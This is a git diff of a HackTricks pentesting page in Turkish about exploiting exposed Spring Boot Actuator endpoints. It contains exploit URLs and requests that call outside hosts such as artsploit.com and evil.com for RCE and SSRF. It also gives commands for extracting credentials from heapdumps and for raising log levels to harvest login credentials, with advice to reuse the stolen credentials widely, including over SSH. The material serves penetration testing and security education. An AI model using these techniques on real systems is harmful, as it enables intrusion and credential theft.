mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/network-services-pentesting/pentesting-web/spring-a
This commit is contained in:
parent
a50273bc3f
commit
ccc4c583b7
File diff suppressed because it is too large
Load Diff
@ -8,28 +8,28 @@
|
||||
|
||||
**From** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)
|
||||
|
||||
## Spring Boot Actuator'ları Sömürme
|
||||
## Spring Boot Actuator'larının İstismarı
|
||||
|
||||
**Orijinal gönderiyi kontrol edin** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
|
||||
**Orijinal gönderiyi şuradan kontrol edin:** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
|
||||
|
||||
### **Ana Noktalar:**
|
||||
|
||||
- Spring Boot Actuator'ları `/health`, `/trace`, `/beans`, `/env` gibi uç noktaları kaydeder. 1 ile 1.4 sürümleri arasında bu uç noktalar kimlik doğrulama olmadan erişilebilir. 1.5 sürümünden itibaren yalnızca `/health` ve `/info` varsayılan olarak hassas değildir, ancak geliştiriciler genellikle bu güvenliği devre dışı bırakır.
|
||||
- Belirli Actuator uç noktaları hassas verileri açığa çıkarabilir veya zararlı eylemlere izin verebilir:
|
||||
- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart` ve `/heapdump`.
|
||||
- Spring Boot 1.x'te, actuator'lar kök URL altında kaydedilirken, 2.x'te `/actuator/` temel yolu altındadır.
|
||||
- Spring Boot Actuators, `/health`, `/trace`, `/beans`, `/env` gibi endpoint'leri kaydeder. 1 ile 1.4 sürümlerinde bu endpoint'ler kimlik doğrulama olmadan erişilebilirdir. 1.5 ve sonrasında varsayılan olarak yalnızca `/health` ve `/info` hassas olmayan olarak bırakılır, ancak geliştiriciler genellikle bu güvenliği devre dışı bırakır.
|
||||
- Bazı Actuator endpoint'leri hassas verileri açığa çıkarabilir veya zararlı işlemlere izin verebilir:
|
||||
- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, ve `/heapdump`.
|
||||
- Spring Boot 1.x'te actuator'lar kök URL altında kayıtlıyken, 2.x'te `/actuator/` temel yolu altındadır.
|
||||
|
||||
### **Sömürü Teknikleri:**
|
||||
### **İstismar Teknikleri:**
|
||||
|
||||
1. **'/jolokia' Üzerinden Uzaktan Kod Çalıştırma**:
|
||||
- `/jolokia` actuator uç noktası, MBean'lere HTTP erişimi sağlayan Jolokia Kütüphanesini açığa çıkarır.
|
||||
- `reloadByURL` eylemi, dış bir URL'den günlük yapılandırmalarını yeniden yüklemek için sömürülebilir; bu, kör XXE veya özel XML yapılandırmaları aracılığıyla Uzaktan Kod Çalıştırma ile sonuçlanabilir.
|
||||
- Örnek sömürü URL'si: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
|
||||
2. **'/env' Üzerinden Yapılandırma Değişikliği**:
|
||||
1. **Remote Code Execution via '/jolokia'**:
|
||||
- `/jolokia` actuator endpoint'i, Jolokia Library'yi açığa çıkarır ve bu, MBean'lere HTTP ile erişim sağlar.
|
||||
- `reloadByURL` action'ı, harici bir URL'den logging konfigürasyonlarını yeniden yüklemek için suistimal edilebilir; bu, hazırlanmış XML konfigürasyonları üzerinden blind XXE veya Remote Code Execution'a yol açabilir.
|
||||
- Örnek exploit URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
|
||||
2. **Konfigürasyon Değişikliği via '/env'**:
|
||||
|
||||
- Spring Cloud Kütüphaneleri mevcutsa, `/env` uç noktası çevresel özelliklerin değiştirilmesine izin verir.
|
||||
- Özellikler, Eureka serviceURL'deki XStream deserialization açığını sömürmek gibi zafiyetleri istismar etmek için manipüle edilebilir.
|
||||
- Örnek sömürü POST isteği:
|
||||
- Eğer Spring Cloud Libraries mevcutsa, `/env` endpoint'i çevresel özelliklerin değiştirilmesine izin verir.
|
||||
- Özellikler, Eureka serviceURL'deki XStream deserialization açığı gibi zayıflıkları istismar etmek için manipüle edilebilir.
|
||||
- Örnek exploit POST isteği:
|
||||
|
||||
```
|
||||
POST /env HTTP/1.1
|
||||
@ -40,25 +40,101 @@ Content-Length: 65
|
||||
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
|
||||
```
|
||||
|
||||
3. **Diğer Kullanışlı Ayarlar**:
|
||||
- `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url` ve `spring.datasource.tomcat.max-active` gibi özellikler, SQL enjeksiyonu veya veritabanı bağlantı dizelerini değiştirme gibi çeşitli sömürüler için manipüle edilebilir.
|
||||
3. **Diğer Faydalı Ayarlar**:
|
||||
- `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url` ve `spring.datasource.tomcat.max-active` gibi özellikler, SQL injection veya veritabanı bağlantı stringlerini değiştirme gibi çeşitli istismarlar için manipüle edilebilir.
|
||||
|
||||
### **Ek Bilgiler:**
|
||||
|
||||
- Varsayılan actuator'ların kapsamlı bir listesi [burada](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt) bulunabilir.
|
||||
- Spring Boot 2.x'teki `/env` uç noktası, özellik değişikliği için JSON formatını kullanır, ancak genel kavram aynı kalır.
|
||||
- Spring Boot 2.x'teki `/env` endpoint'i, özellik değişiklikleri için JSON formatı kullanır; fakat genel konsept aynıdır.
|
||||
|
||||
### **İlgili Konular:**
|
||||
|
||||
1. **Env + H2 RCE**:
|
||||
- `/env` uç noktası ve H2 veritabanının kombinasyonunu sömürme detayları [burada](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database) bulunabilir.
|
||||
- `/env` endpoint'i ile H2 veritabanının kombinasyonunun nasıl istismar edileceğine dair detaylar [burada](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database) bulunabilir.
|
||||
|
||||
2. **Yanlış Yol Adı Yorumlaması Üzerinden Spring Boot'ta SSRF**:
|
||||
- Spring çerçevesinin HTTP yol adlarındaki matris parametrelerini (`;`) ele alması, Sunucu Tarafı İstek Sahteciliği (SSRF) için sömürülebilir.
|
||||
- Örnek sömürü isteği:
|
||||
2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**:
|
||||
- Spring framework'ünün HTTP yol adlarındaki matrix parametrelerini (`;`) işlemesi, Server-Side Request Forgery (SSRF) için kullanılabilir.
|
||||
- Örnek exploit isteği:
|
||||
```http
|
||||
GET ;@evil.com/url HTTP/1.1
|
||||
Host: target.com
|
||||
Connection: close
|
||||
```
|
||||
## HeapDump ile gizli bilgilerin çıkarılması (credentials, tokens, internal URLs)
|
||||
|
||||
Eğer `/actuator/heapdump` açık durumdaysa, genellikle canlı gizli bilgileri içeren tam bir JVM heap snapshot'ı alabilirsiniz (DB creds, API anahtarları, Basic-Auth, dahili servis URL'leri, Spring property map'leri vb.).
|
||||
|
||||
- İndir ve hızlı ön inceleme:
|
||||
```bash
|
||||
wget http://target/actuator/heapdump -O heapdump
|
||||
# Quick wins: look for HTTP auth and JDBC
|
||||
strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client'
|
||||
# Decode any Basic credentials you find
|
||||
printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d
|
||||
```
|
||||
|
||||
- Daha derin analiz için VisualVM ve OQL:
|
||||
- Heapdump'ı VisualVM ile açın, `java.lang.String` örneklerini inceleyin veya gizli bilgileri aramak için OQL çalıştırın:
|
||||
```
|
||||
select s.toString()
|
||||
from java.lang.String s
|
||||
where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString())
|
||||
```
|
||||
|
||||
- JDumpSpider ile otomatik çıkarım:
|
||||
```bash
|
||||
java -jar JDumpSpider-*.jar heapdump
|
||||
```
|
||||
Tipik yüksek değerli bulgular:
|
||||
- `DataSourceProperties` / `HikariDataSource` gibi Spring nesneleri `url`, `username`, `password` bilgilerini açığa çıkarabilir.
|
||||
- `OriginTrackedMapPropertySource` girdileri `management.endpoints.web.exposure.include`, servis portları ve URL'lerde gömülü Basic-Auth (ör. Eureka `defaultZone`) gibi bilgileri ifşa edebilir.
|
||||
- Bellekte yakalanmış `Authorization: Basic ...` içeren düz HTTP istek/yanıt parçaları.
|
||||
|
||||
İpuçları:
|
||||
- Actuator endpoint'lerini hızlıca keşfetmek için Spring odaklı bir wordlist kullanın (ör. SecLists spring-boot.txt) ve her zaman `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env` ve `/actuator/configprops`'un da açık olup olmadığını kontrol edin.
|
||||
- Heapdump'tan elde edilen credentials genellikle bitişik servisler için ve bazen sistem kullanıcıları (SSH) için de çalışır; bu yüzden genişçe deneyin.
|
||||
|
||||
|
||||
## Actuator loggers/logging'i kötüye kullanarak kimlik bilgilerini yakalama
|
||||
|
||||
Eğer `management.endpoints.web.exposure.include` izin veriyorsa ve `/actuator/loggers` açık durumdaysa, kimlik doğrulama ve istek işleme paketleri için log seviyesini dinamik olarak DEBUG/TRACE seviyesine çıkarabilirsiniz. `/actuator/logfile` veya bilinen log yolları üzerinden okunabilir loglarla birleştirildiğinde, bu login akışları sırasında gönderilen kimlik bilgileri (ör. Basic-Auth header'ları veya form parametreleri) sızdırılabilir.
|
||||
|
||||
- Duyarlı logları listeleyin ve yükseltin:
|
||||
```bash
|
||||
# List available loggers
|
||||
curl -s http://target/actuator/loggers | jq .
|
||||
|
||||
# Enable very verbose logs for security/web stacks (adjust as needed)
|
||||
curl -s -X POST http://target/actuator/loggers/org.springframework.security \
|
||||
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
|
||||
curl -s -X POST http://target/actuator/loggers/org.springframework.web \
|
||||
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
|
||||
curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway \
|
||||
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
|
||||
```
|
||||
|
||||
- Logların nerede yazıldığını bulun ve toplayın:
|
||||
```bash
|
||||
# If exposed, read from Actuator directly
|
||||
curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password='
|
||||
|
||||
# Otherwise, query env/config to locate file path
|
||||
curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))'
|
||||
```
|
||||
|
||||
- Login/authentication trafiğini tetikleyin ve logları kimlik bilgileri için parse edin. Gateway ile önüne konulan auth içeren mikroservis kurulumlarında, gateway/security paketleri için TRACE etkinleştirmek genellikle header'ları ve form gövdelerini görünür kılar. Bazı ortamlar periyodik olarak sentetik login trafiği bile üretebilir; logging verbose hale geldiğinde bu tür verilerin toplanması çok kolay olabilir.
|
||||
|
||||
Notlar:
|
||||
- İşiniz bittiğinde log seviyelerini sıfırlayın: `POST /actuator/loggers/<logger>` ile `{ "configuredLevel": null }`.
|
||||
- Eğer `/actuator/httpexchanges` açık ise, hassas header'ları içerebilecek son istek meta verilerini de gösterebilir.
|
||||
|
||||
|
||||
## Referanslar
|
||||
|
||||
- [Exploring Spring Boot Actuator Misconfigurations (Wiz)](https://www.wiz.io/blog/spring-boot-actuator-misconfigurations)
|
||||
- [VisualVM](https://visualvm.github.io/)
|
||||
- [JDumpSpider](https://github.com/whwlsfb/JDumpSpider)
|
||||
- [0xdf – HTB Eureka (Actuator heapdump to creds, Gateway logging abuse)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user